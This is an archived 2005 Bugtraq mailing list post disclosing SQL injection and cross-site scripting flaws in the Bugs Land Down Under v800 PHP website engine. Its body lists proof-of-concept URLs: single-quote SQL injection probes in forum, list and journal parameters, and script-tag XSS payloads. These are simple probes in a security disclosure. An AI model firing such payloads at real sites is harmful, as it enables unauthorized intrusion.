bugtraq - Bugs Land Down Under v800

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 20 Aug 2005 09:43:01 -0000
From: bl2k@...bgard.org
To: bugtraq@...urityfocus.com
Subject: Bugs Land Down Under v800


Bugs Land Down Under v800
PHP/MySQL Website engine
Copyright Neocrome - http://www.neocrome.net
---------------------------------------------
Sql Injection and Cross Site Scripting Problem

examlple :

/ldu/forums.php?m=topics&s=' 
/ldu/list.php?c=articles&s=title&w=asc&o='&p=1
/ldu/list.php?c=articles&s=title&w='&o=1&p=1 
/ldu/list.php?c=articles&s='&w=asc&o=1&p=1
/ldu/journal.php?m='&s=username&w=asc 
/ldu/journal.php?m='&p=1
/ldu/journal.php?m=' 
/ldu/forums.php?filter=forums%2Ephp%3Fc%3Dskin&x=' 
/ldu/forums.php?m=topics&q=3&n=' 
/ldu/list.php?c=articles&s=title&w=asc&o=1&p=' 
/ldu/forums.php?m='&q=3&n=last 
/ldu/links.php?c=links&s=title&w=' 
---------------------------------------------
/ldu/index.php?c='><script>alert('test');</script> 
/ldu/index.php?m='><script>alert('test');</script>
/ldu/journal.php?m=home&s=username&w='><script>alert('test');</script>


bl2k & SmallMouse  
Greetz --elite-- , hurgy , Littlehackers , Cisco
www.shabgard.org